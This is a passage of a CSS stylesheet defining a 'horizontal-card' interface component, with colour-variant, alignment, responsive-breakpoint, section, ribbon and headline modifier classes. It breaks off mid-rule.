.horizontal-card--semantic-bar-promoting:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card--semantic-bar-promoting:only-child {
border-radius:0
}
}
.horizontal-card--success {
border: 2px solid var(--success-shape-color,#0fa954)
}
.horizontal-card--warning {
border: 2px solid var(--warning-shape-color,#fa0)
}
.horizontal-card--critical {
border: 2px solid var(--critical-shape-color,#f50c00)
}
.horizontal-card--neutral {
border: 2px solid var(--neutral-shape-color,#718095)
}
.horizontal-card--activating {
border: 2px solid var(--activating-shape-color,#11c7e6)
}
.horizontal-card--promoting {
border: 2px solid var(--promoting-shape-color,#b410e7)
}
.horizontal-card--corporate {
border: 2px solid var(--corporate-shape-color,#001b41)
}
.horizontal-card--success-solid {
background-color: var(--solid-success-background-color,#12cf76);
color: var(--corporate-text-color,#0b2a63)
}
.horizontal-card--warning-solid {
background-color: var(--solid-warning-background-color,#fa0);
color: var(--corporate-text-color,#0b2a63)
}
.horizontal-card--critical-solid {
background-color: var(--solid-critical-background-color,#ff6159);
color: var(--corporate-text-color,#0b2a63)
}
.horizontal-card--neutral-solid {
background-color: var(--solid-neutral-background-color,#465a75);
color: var(--white,#fff)
}
.horizontal-card--activating-solid {
background-color: var(--solid-activating-background-color,#11c7e6);
color: var(--corporate-text-color,#0b2a63)
}
.horizontal-card--promoting-solid {
background-color: var(--solid-promoting-background-color,#e480f8);
color: var(--corporate-text-color,#0b2a63)
}
.horizontal-card--corporate-solid {
background-color: var(--solid-corporate-background-color,#0b2a63);
color: var(--white,#fff)
}
.horizontal-card--bright-solid {
background-color: var(--solid-bright-background-color,#fff);
color: var(--corporate-text-color,#0b2a63)
}
.horizontal-card--primary {
background-color: var(--primary-background-color,#fff)
}
.horizontal-card--secondary {
background-color: var(--secondary-background-color,#fff)
}
.horizontal-card--tertiary {
background-color: var(--tertiary-background-color,#bcc8d4)
}
.horizontal-card--advertising {
background: var(--advertising-background-gradient-start,#003d8f);
background: linear-gradient(to bottom right,var(--advertising-background-gradient-start,#003d8f),var(--advertising-background-gradient-end,#1474c4))
}
.horizontal-card--advertising>.headline,.horizontal-card--advertising>.paragraph {
color: var(--white,#fff)
}
.horizontal-card--beta {
background-color: var(--default-background-color-inverted,#0b2a63)
}
.horizontal-card--beta>.headline,.horizontal-card--beta>.paragraph {
color: var(--white,#fff)
}
.horizontal-card--premium {
background-color: var(--tertiary-background-color-inverted,#718095)
}
.horizontal-card--premium>.headline,.horizontal-card--premium>.paragraph {
color: var(--white,#fff)
}
.horizontal-card__header {
background-position: 50%;
background-repeat: no-repeat;
background-size: cover;
display: flex;
flex-flow: column;
position: relative;
width: 50%
}
.horizontal-card__header--expanded-content {
width: 38%
}
.horizontal-card__header--vertical-align-bottom {
align-self: flex-end
}
.horizontal-card__header--vertical-align-center {
align-self: center
}
.horizontal-card__header--vertical-align-middle {
vertical-align: middle
}
.horizontal-card__header--vertical-align-top {
align-self: flex-start
}
@media only screen and (min-width: 1185px) {
.horizontal-card__header--large-vertical-align-bottom {
align-self:flex-end
}
.horizontal-card__header--large-vertical-align-center {
align-self: center
}
.horizontal-card__header--large-vertical-align-middle {
vertical-align: middle
}
.horizontal-card__header--large-vertical-align-top {
align-self: flex-start
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.horizontal-card__header--medium-vertical-align-bottom {
align-self:flex-end
}
.horizontal-card__header--medium-vertical-align-center {
align-self: center
}
.horizontal-card__header--medium-vertical-align-middle {
vertical-align: middle
}
.horizontal-card__header--medium-vertical-align-top {
align-self: flex-start
}
}
@media only screen and (max-width: 666px) {
.horizontal-card__header--small-vertical-align-bottom {
align-self:flex-end
}
.horizontal-card__header--small-vertical-align-center {
align-self: center
}
.horizontal-card__header--small-vertical-align-middle {
vertical-align: middle
}
.horizontal-card__header--small-vertical-align-top {
align-self: flex-start
}
}
@supports ((-o-object-fit: cover) or (object-fit:cover)) {
.horizontal-card__header {
align-items:center
}
}
.horizontal-card__visual {
border-radius: calc(var(--default-border-radius, 16px) - 1px) 0 0 calc(var(--default-border-radius, 16px) - 1px);
height: 100%;
position: absolute;
width: auto
}
@media only screen and (max-width: 666px) {
.horizontal-card__visual {
border-radius:calc(var(--small-border-radius, 8px) - 1px) 0 0 calc(var(--small-border-radius, 8px) - 1px)
}
}
@supports ((-o-object-fit: cover) or (object-fit:cover)) {
.horizontal-card__visual {
flex-grow:1;
height: auto;
-o-object-fit: cover;
object-fit: cover;
position: inherit;
width: 100%
}
}
.horizontal-card--reversed .horizontal-card__visual {
border-radius: 0 calc(var(--default-border-radius, 16px) - 1px) calc(var(--default-border-radius, 16px) - 1px) 0
}
@media only screen and (max-width: 666px) {
.horizontal-card--reversed .horizontal-card__visual {
border-radius:calc(var(--small-border-radius, 8px) - 1px) calc(var(--small-border-radius, 8px) - 1px) 0 0
}
}
.horizontal-card__content {
display: flex;
flex-flow: column nowrap;
flex-grow: 1;
overflow: hidden;
width: 50%
}
.horizontal-card__content--expanded-content {
width: 62%
}
.horizontal-card__content--vertical-align-bottom {
align-self: flex-end
}
.horizontal-card__content--vertical-align-center {
align-self: center
}
.horizontal-card__content--vertical-align-middle {
vertical-align: middle
}
.horizontal-card__content--vertical-align-top {
align-self: flex-start
}
@media only screen and (min-width: 1185px) {
.horizontal-card__content--large-vertical-align-bottom {
align-self:flex-end
}
.horizontal-card__content--large-vertical-align-center {
align-self: center
}
.horizontal-card__content--large-vertical-align-middle {
vertical-align: middle
}
.horizontal-card__content--large-vertical-align-top {
align-self: flex-start
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.horizontal-card__content--medium-vertical-align-bottom {
align-self:flex-end
}
.horizontal-card__content--medium-vertical-align-center {
align-self: center
}
.horizontal-card__content--medium-vertical-align-middle {
vertical-align: middle
}
.horizontal-card__content--medium-vertical-align-top {
align-self: flex-start
}
}
@media only screen and (max-width: 666px) {
.horizontal-card__content--small-vertical-align-bottom {
align-self:flex-end
}
.horizontal-card__content--small-vertical-align-center {
align-self: center
}
.horizontal-card__content--small-vertical-align-middle {
vertical-align: middle
}
.horizontal-card__content--small-vertical-align-top {
align-self: flex-start
}
}
.horizontal-card__footer {
padding: 0 24px 16px
}
.horizontal-card__footer--distinct {
background-color: var(--default-background-color,#f4f7fa);
border-top: 1px solid var(--tertiary-shape-color,#bcc8d4);
padding-top: 16px
}
.horizontal-card__footer--growing {
align-items: flex-end;
display: flex;
flex-flow: warp;
flex-grow: 1
}
.horizontal-card__footer .button,.horizontal-card__footer .toggle-button {
margin-bottom: 8px;
margin-top: 8px
}
.horizontal-card__footer>:first-child {
margin-top: 4px
}
.horizontal-card__footer>:last-child {
margin-bottom: 4px
}
.horizontal-card__footer+section:last-child {
border-bottom: 0
}
.horizontal-card__footer--align-center {
justify-content: center;
text-align: center
}
.horizontal-card__footer--align-left {
justify-content: flex-start;
text-align: left
}
.horizontal-card__footer--align-right {
justify-content: flex-end;
text-align: right
}
@media only screen and (min-width: 1185px) {
.horizontal-card__footer--large-align-center {
justify-content:center;
text-align: center
}
.horizontal-card__footer--large-align-left {
justify-content: flex-start;
text-align: left
}
.horizontal-card__footer--large-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.horizontal-card__footer--medium-align-center {
justify-content:center;
text-align: center
}
.horizontal-card__footer--medium-align-left {
justify-content: flex-start;
text-align: left
}
.horizontal-card__footer--medium-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (max-width: 666px) {
.horizontal-card__footer--small-align-center {
justify-content:center;
text-align: center
}
.horizontal-card__footer--small-align-left {
justify-content: flex-start;
text-align: left
}
.horizontal-card__footer--small-align-right {
justify-content: flex-end;
text-align: right
}
}
.horizontal-card__footer--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.horizontal-card__footer--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.horizontal-card__footer--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.horizontal-card__footer--small-hidden {
display:none
}
}
.horizontal-card__section {
flex-grow: 1;
padding: 16px 24px
}
.horizontal-card__section--activating {
background-color: var(--activating-background-color,#fff);
border-bottom-width: 2px;
border-color: var(--activating-shape-color,#11c7e6);
border-style: solid;
border-top-width: 2px;
color: var(--activating-text-color,#007e9c)
}
.horizontal-card__section--activating+.horizontal-card__section--activating,.horizontal-card__section--activating+.horizontal-card__section--advertising,.horizontal-card__section--activating+.horizontal-card__section--corporate,.horizontal-card__section--activating+.horizontal-card__section--critical,.horizontal-card__section--activating+.horizontal-card__section--neutral,.horizontal-card__section--activating+.horizontal-card__section--promoting,.horizontal-card__section--activating+.horizontal-card__section--success,.horizontal-card__section--activating+.horizontal-card__section--warning {
margin-top: -2px
}
.horizontal-card__section--activating+.horizontal-card__footer:not(.horizontal-card__footer--distinct) {
margin-top: 16px
}
.horizontal-card__section--success {
background-color: var(--success-background-color,#fff);
border-bottom-width: 2px;
border-color: var(--success-shape-color,#0fa954);
border-style: solid;
border-top-width: 2px;
color: var(--success-text-color,#096b35)
}
.horizontal-card__section--success+.horizontal-card__section--activating,.horizontal-card__section--success+.horizontal-card__section--advertising,.horizontal-card__section--success+.horizontal-card__section--corporate,.horizontal-card__section--success+.horizontal-card__section--critical,.horizontal-card__section--success+.horizontal-card__section--neutral,.horizontal-card__section--success+.horizontal-card__section--promoting,.horizontal-card__section--success+.horizontal-card__section--success,.horizontal-card__section--success+.horizontal-card__section--warning {
margin-top: -2px
}
.horizontal-card__section--success+.horizontal-card__footer:not(.horizontal-card__footer--distinct) {
margin-top: 16px
}
.horizontal-card__section--warning {
background-color: var(--warning-background-color,#fff);
border-bottom-width: 2px;
border-color: var(--warning-shape-color,#fa0);
border-style: solid;
border-top-width: 2px;
color: var(--warning-text-color,#c36b00)
}
.horizontal-card__section--warning+.horizontal-card__section--activating,.horizontal-card__section--warning+.horizontal-card__section--advertising,.horizontal-card__section--warning+.horizontal-card__section--corporate,.horizontal-card__section--warning+.horizontal-card__section--critical,.horizontal-card__section--warning+.horizontal-card__section--neutral,.horizontal-card__section--warning+.horizontal-card__section--promoting,.horizontal-card__section--warning+.horizontal-card__section--success,.horizontal-card__section--warning+.horizontal-card__section--warning {
margin-top: -2px
}
.horizontal-card__section--warning+.horizontal-card__footer:not(.horizontal-card__footer--distinct) {
margin-top: 16px
}
.horizontal-card__section--critical {
background-color: var(--critical-background-color,#fff);
border-bottom-width: 2px;
border-color: var(--critical-shape-color,#f50c00);
border-style: solid;
border-top-width: 2px;
color: var(--critical-text-color,#c80a00)
}
.horizontal-card__section--critical+.horizontal-card__section--activating,.horizontal-card__section--critical+.horizontal-card__section--advertising,.horizontal-card__section--critical+.horizontal-card__section--corporate,.horizontal-card__section--critical+.horizontal-card__section--critical,.horizontal-card__section--critical+.horizontal-card__section--neutral,.horizontal-card__section--critical+.horizontal-card__section--promoting,.horizontal-card__section--critical+.horizontal-card__section--success,.horizontal-card__section--critical+.horizontal-card__section--warning {
margin-top: -2px
}
.horizontal-card__section--critical+.horizontal-card__footer:not(.horizontal-card__footer--distinct) {
margin-top: 16px
}
.horizontal-card__section--neutral {
background-color: var(--neutral-background-color,#fff);
border-bottom-width: 2px;
border-color: var(--neutral-shape-color,#718095);
border-style: solid;
border-top-width: 2px;
color: var(--neutral-text-color,#465a75)
}
.horizontal-card__section--neutral+.horizontal-card__section--activating,.horizontal-card__section--neutral+.horizontal-card__section--advertising,.horizontal-card__section--neutral+.horizontal-card__section--corporate,.horizontal-card__section--neutral+.horizontal-card__section--critical,.horizontal-card__section--neutral+.horizontal-card__section--neutral,.horizontal-card__section--neutral+.horizontal-card__section--promoting,.horizontal-card__section--neutral+.horizontal-card__section--success,.horizontal-card__section--neutral+.horizontal-card__section--warning {
margin-top: -2px
}
.horizontal-card__section--neutral+.horizontal-card__footer:not(.horizontal-card__footer--distinct) {
margin-top: 16px
}
.horizontal-card__section--corporate {
background-color: var(--corporate-background-color,#fff);
border-bottom-width: 2px;
border-color: var(--corporate-shape-color,#001b41);
border-style: solid;
border-top-width: 2px;
color: var(--corporate-text-color,#0b2a63)
}
.horizontal-card__section--corporate+.horizontal-card__section--activating,.horizontal-card__section--corporate+.horizontal-card__section--advertising,.horizontal-card__section--corporate+.horizontal-card__section--corporate,.horizontal-card__section--corporate+.horizontal-card__section--critical,.horizontal-card__section--corporate+.horizontal-card__section--neutral,.horizontal-card__section--corporate+.horizontal-card__section--promoting,.horizontal-card__section--corporate+.horizontal-card__section--success,.horizontal-card__section--corporate+.horizontal-card__section--warning {
margin-top: -2px
}
.horizontal-card__section--corporate+.horizontal-card__footer:not(.horizontal-card__footer--distinct) {
margin-top: 16px
}
.horizontal-card__section--promoting {
background-color: var(--promoting-background-color,#fff);
border-bottom-width: 2px;
border-color: var(--promoting-shape-color,#b410e7);
border-style: solid;
border-top-width: 2px;
color: var(--promoting-text-color,#560e8a)
}
.horizontal-card__section--promoting+.horizontal-card__section--activating,.horizontal-card__section--promoting+.horizontal-card__section--advertising,.horizontal-card__section--promoting+.horizontal-card__section--corporate,.horizontal-card__section--promoting+.horizontal-card__section--critical,.horizontal-card__section--promoting+.horizontal-card__section--neutral,.horizontal-card__section--promoting+.horizontal-card__section--promoting,.horizontal-card__section--promoting+.horizontal-card__section--success,.horizontal-card__section--promoting+.horizontal-card__section--warning {
margin-top: -2px
}
.horizontal-card__section--promoting+.horizontal-card__footer:not(.horizontal-card__footer--distinct) {
margin-top: 16px
}
.horizontal-card__section--advertising {
border-bottom-width: 2px;
border-color: var(--advertising-background-gradient-start,#003d8f);
border-style: solid;
border-top-width: 2px;
color: var(--white,#fff)
}
.horizontal-card__section--advertising+.horizontal-card__section--activating,.horizontal-card__section--advertising+.horizontal-card__section--advertising,.horizontal-card__section--advertising+.horizontal-card__section--corporate,.horizontal-card__section--advertising+.horizontal-card__section--critical,.horizontal-card__section--advertising+.horizontal-card__section--neutral,.horizontal-card__section--advertising+.horizontal-card__section--promoting,.horizontal-card__section--advertising+.horizontal-card__section--success,.horizontal-card__section--advertising+.horizontal-card__section--warning {
margin-top: -2px
}
.horizontal-card__section--advertising+.horizontal-card__footer:not(.horizontal-card__footer--distinct) {
margin-top: 16px
}
.horizontal-card__section--separator {
border-top: 1px solid var(--tertiary-shape-color,#bcc8d4)
}
.horizontal-card__section--growing {
flex-grow: 1
}
.horizontal-card__section--stripes {
padding: 0 0 16px
}
.horizontal-card__section>:last-child {
margin-bottom: 4px
}
.horizontal-card__section:first-of-type>:first-child {
margin-top: 4px
}
.horizontal-card__section--align-center {
justify-content: center;
text-align: center
}
.horizontal-card__section--align-left {
justify-content: flex-start;
text-align: left
}
.horizontal-card__section--align-right {
justify-content: flex-end;
text-align: right
}
@media only screen and (min-width: 1185px) {
.horizontal-card__section--large-align-center {
justify-content:center;
text-align: center
}
.horizontal-card__section--large-align-left {
justify-content: flex-start;
text-align: left
}
.horizontal-card__section--large-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.horizontal-card__section--medium-align-center {
justify-content:center;
text-align: center
}
.horizontal-card__section--medium-align-left {
justify-content: flex-start;
text-align: left
}
.horizontal-card__section--medium-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (max-width: 666px) {
.horizontal-card__section--small-align-center {
justify-content:center;
text-align: center
}
.horizontal-card__section--small-align-left {
justify-content: flex-start;
text-align: left
}
.horizontal-card__section--small-align-right {
justify-content: flex-end;
text-align: right
}
}
.horizontal-card__section--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.horizontal-card__section--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.horizontal-card__section--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.horizontal-card__section--small-hidden {
display:none
}
}
.horizontal-card__section--semantic-bar-success {
box-shadow: inset 5px 0 var(--success-shape-color,#0fa954);
margin-left: -1px
}
.horizontal-card__section--semantic-bar-success:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card__section--semantic-bar-success:first-child {
border-radius:0
}
}
.horizontal-card__section--semantic-bar-success:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card__section--semantic-bar-success:last-child {
border-radius:0
}
}
.horizontal-card__section--semantic-bar-success:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card__section--semantic-bar-success:only-child {
border-radius:0
}
}
.horizontal-card__section--semantic-bar-warning {
box-shadow: inset 5px 0 var(--warning-shape-color,#fa0);
margin-left: -1px
}
.horizontal-card__section--semantic-bar-warning:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card__section--semantic-bar-warning:first-child {
border-radius:0
}
}
.horizontal-card__section--semantic-bar-warning:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card__section--semantic-bar-warning:last-child {
border-radius:0
}
}
.horizontal-card__section--semantic-bar-warning:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card__section--semantic-bar-warning:only-child {
border-radius:0
}
}
.horizontal-card__section--semantic-bar-critical {
box-shadow: inset 5px 0 var(--critical-shape-color,#f50c00);
margin-left: -1px
}
.horizontal-card__section--semantic-bar-critical:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card__section--semantic-bar-critical:first-child {
border-radius:0
}
}
.horizontal-card__section--semantic-bar-critical:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card__section--semantic-bar-critical:last-child {
border-radius:0
}
}
.horizontal-card__section--semantic-bar-critical:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card__section--semantic-bar-critical:only-child {
border-radius:0
}
}
.horizontal-card__section--semantic-bar-neutral {
box-shadow: inset 5px 0 var(--neutral-shape-color,#718095);
margin-left: -1px
}
.horizontal-card__section--semantic-bar-neutral:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card__section--semantic-bar-neutral:first-child {
border-radius:0
}
}
.horizontal-card__section--semantic-bar-neutral:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card__section--semantic-bar-neutral:last-child {
border-radius:0
}
}
.horizontal-card__section--semantic-bar-neutral:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card__section--semantic-bar-neutral:only-child {
border-radius:0
}
}
.horizontal-card__section--semantic-bar-activating {
box-shadow: inset 5px 0 var(--activating-shape-color,#11c7e6);
margin-left: -1px
}
.horizontal-card__section--semantic-bar-activating:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card__section--semantic-bar-activating:first-child {
border-radius:0
}
}
.horizontal-card__section--semantic-bar-activating:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card__section--semantic-bar-activating:last-child {
border-radius:0
}
}
.horizontal-card__section--semantic-bar-activating:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card__section--semantic-bar-activating:only-child {
border-radius:0
}
}
.horizontal-card__section--semantic-bar-corporate {
box-shadow: inset 5px 0 var(--corporate-shape-color,#001b41);
margin-left: -1px
}
.horizontal-card__section--semantic-bar-corporate:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card__section--semantic-bar-corporate:first-child {
border-radius:0
}
}
.horizontal-card__section--semantic-bar-corporate:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card__section--semantic-bar-corporate:last-child {
border-radius:0
}
}
.horizontal-card__section--semantic-bar-corporate:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card__section--semantic-bar-corporate:only-child {
border-radius:0
}
}
.horizontal-card__section--semantic-bar-promoting {
box-shadow: inset 5px 0 var(--promoting-shape-color,#b410e7);
margin-left: -1px
}
.horizontal-card__section--semantic-bar-promoting:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card__section--semantic-bar-promoting:first-child {
border-radius:0
}
}
.horizontal-card__section--semantic-bar-promoting:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card__section--semantic-bar-promoting:last-child {
border-radius:0
}
}
.horizontal-card__section--semantic-bar-promoting:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.horizontal-card__section--semantic-bar-promoting:only-child {
border-radius:0
}
}
.horizontal-card__section--success-solid {
background-color: var(--solid-success-background-color,#12cf76);
color: var(--corporate-text-color,#0b2a63)
}
.horizontal-card__section--warning-solid {
background-color: var(--solid-warning-background-color,#fa0);
color: var(--corporate-text-color,#0b2a63)
}
.horizontal-card__section--critical-solid {
background-color: var(--solid-critical-background-color,#ff6159);
color: var(--corporate-text-color,#0b2a63)
}
.horizontal-card__section--neutral-solid {
background-color: var(--solid-neutral-background-color,#465a75);
color: var(--white,#fff)
}
.horizontal-card__section--activating-solid {
background-color: var(--solid-activating-background-color,#11c7e6);
color: var(--corporate-text-color,#0b2a63)
}
.horizontal-card__section--promoting-solid {
background-color: var(--solid-promoting-background-color,#e480f8);
color: var(--corporate-text-color,#0b2a63)
}
.horizontal-card__section--corporate-solid {
background-color: var(--solid-corporate-background-color,#0b2a63);
color: var(--white,#fff)
}
.horizontal-card__section--bright-solid {
background-color: var(--solid-bright-background-color,#fff);
color: var(--corporate-text-color,#0b2a63)
}
.horizontal-card__section--primary {
background-color: var(--primary-background-color,#fff)
}
.horizontal-card__section--secondary {
background-color: var(--secondary-background-color,#fff)
}
.horizontal-card__section--tertiary {
background-color: var(--tertiary-background-color,#bcc8d4)
}
.horizontal-card__section--advertising {
background: var(--advertising-background-gradient-start,#003d8f);
background: linear-gradient(to bottom right,var(--advertising-background-gradient-start,#003d8f),var(--advertising-background-gradient-end,#1474c4))
}
.horizontal-card__section--advertising>.headline,.horizontal-card__section--advertising>.paragraph {
color: var(--white,#fff)
}
.horizontal-card__section--beta {
background-color: var(--default-background-color-inverted,#0b2a63)
}
.horizontal-card__section--beta>.headline,.horizontal-card__section--beta>.paragraph {
color: var(--white,#fff)
}
.horizontal-card__section--premium {
background-color: var(--tertiary-background-color-inverted,#718095)
}
.horizontal-card__section--premium>.headline,.horizontal-card__section--premium>.paragraph {
color: var(--white,#fff)
}
.horizontal-card__section--vertical-align-bottom {
align-items: flex-end;
display: flex;
flex-flow: wrap
}
.horizontal-card__section--vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.horizontal-card__section--vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
@media only screen and (min-width: 1185px) {
.horizontal-card__section--large-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.horizontal-card__section--large-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.horizontal-card__section--large-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.horizontal-card__section--medium-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.horizontal-card__section--medium-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.horizontal-card__section--medium-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
@media only screen and (max-width: 666px) {
.horizontal-card__section--small-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.horizontal-card__section--small-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.horizontal-card__section--small-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
.horizontal-card__ribbon {
background-color: var(--activating-background-color,#fff);
border-bottom: 1px solid var(--activating-shape-color,#11c7e6);
border-top: 1px solid var(--activating-shape-color,#11c7e6);
box-sizing: border-box;
color: var(--activating-text-color,#007e9c);
padding: 8px 16px;
text-align: center;
width: 100%
}
.horizontal-card__ribbon--success {
background-color: var(--white,#fff);
border-bottom: 1px solid var(--success-shape-color,#0fa954);
border-top: 1px solid var(--success-shape-color,#0fa954);
color: var(--success-text-color,#096b35)
}
.horizontal-card__ribbon--warning {
background-color: var(--white,#fff);
border-bottom: 1px solid var(--warning-shape-color,#fa0);
border-top: 1px solid var(--warning-shape-color,#fa0);
color: var(--warning-text-color,#c36b00)
}
.horizontal-card__ribbon--critical {
background-color: var(--white,#fff);
border-bottom: 1px solid var(--critical-shape-color,#f50c00);
border-top: 1px solid var(--critical-shape-color,#f50c00);
color: var(--critical-text-color,#c80a00)
}
.horizontal-card__ribbon--neutral {
background-color: var(--white,#fff);
border-bottom: 1px solid var(--neutral-shape-color,#718095);
border-top: 1px solid var(--neutral-shape-color,#718095);
color: var(--neutral-text-color,#465a75)
}
.horizontal-card__ribbon--corporate {
background-color: var(--white,#fff);
border-bottom: 1px solid var(--corporate-shape-color,#001b41);
border-top: 1px solid var(--corporate-shape-color,#001b41);
color: var(--corporate-text-color,#0b2a63)
}
.horizontal-card__ribbon--promoting {
background-color: var(--white,#fff);
border-bottom: 1px solid var(--promoting-shape-color,#b410e7);
border-top: 1px solid var(--promoting-shape-color,#b410e7);
color: var(--promoting-text-color,#560e8a)
}
.horizontal-card__ribbon--advertising {
background: var(--advertising-background-gradient-start,#003d8f);
background: linear-gradient(to bottom right,var(--advertising-background-gradient-start,#003d8f),var(--advertising-background-gradient-end,#1474c4));
border-bottom: 1px solid var(--advertising-background-gradient-start,#003d8f);
border-top: 1px solid var(--advertising-background-gradient-start,#003d8f);
color: var(--white,#fff)
}
.horizontal-card__headline {
color: var(--default-text-color,#001b41);
font-family: var(--corporate-font-bold,"OverpassSemibold",arial,sans-serif);
font-size: var(--second-level-headline-size,22px);
line-height: var(--second-level-headline-line-height,1.364em);
margin-bottom: 12px;
word-break: break-word
}
.horizontal-card__headline--cropped {
margin-bottom: 0
}
.horizontal-card__headline--break-all {
word-break: break-all
}
.horizontal-card__headline--break-word {
word-break: break-word
}
@media only screen and (max-width: 666px) {
.horizontal-card__headline--small-break-all {
word-break:break-all
}
.horizontal-card__headline--small-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.horizontal-card__headline--medium-break-all {
word-break:break-all
}
.horizontal-card__headline--medium-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 1185px) {
.horizontal-card__headline--large-break-all {
word-break:break-all
}
.horizontal-card__headline--large-break-word {
word-break: break-word
}
}
.horizontal-card__headline--nowrap {
white-space: nowrap
}
@media only screen and (max-width: 666px) {
.horizontal-card__headline--small-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.horizontal-card__headline--medium-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 1185px) {
.horizontal-card__headline--large-nowrap {
white-space:nowrap
}
}
.horizontal-card__headline--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.horizontal-card__headline--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.horizontal-card__headline--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.horizontal-card__headline--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.horizontal-card__headline--success {
color: var(--success-text-color,#096b35)
}
.horizontal-card__headline--warning {
color: var(--warning-text-color,#c36b00)
}
.horizontal-card__headline--critical {
color: var(--critical-text-color,#c80a00)
}
.horizontal-card__headline--neutral {
color: var(--neutral-text-color,#465a75)
}
.horizontal-card__headline--activating {
color: var(--activating-text-color,#007e9c)
}
.horizontal-card__headline--promoting {
color: var(--promoting-text-color,#560e8a)
}
.horizontal-card__headline--corporate {
color: var(--corporate-text-color,#0b2a63)
}
.horizontal-card__headline--bright {
color: var(--white,#fff)
}
.horizontal-card__preheadline--break-all {
word-break: break-all
}
.horizontal-card__preheadline--break-word {
word-break: break-word
}
@media only screen and (max-width: 666px) {
.horizontal-card__preheadline--small-break-all {
word-break:break-all
}
.horizontal-card__preheadline--small-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.horizontal-card__preheadline--medium-break-all {
word-break:break-all
}
.horizontal-card__preheadline--medium-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 1185px) {
.horizontal-card__preheadline--large-break-all {
word-break:break-all
}
.horizontal-card__preheadline--large-break-word {
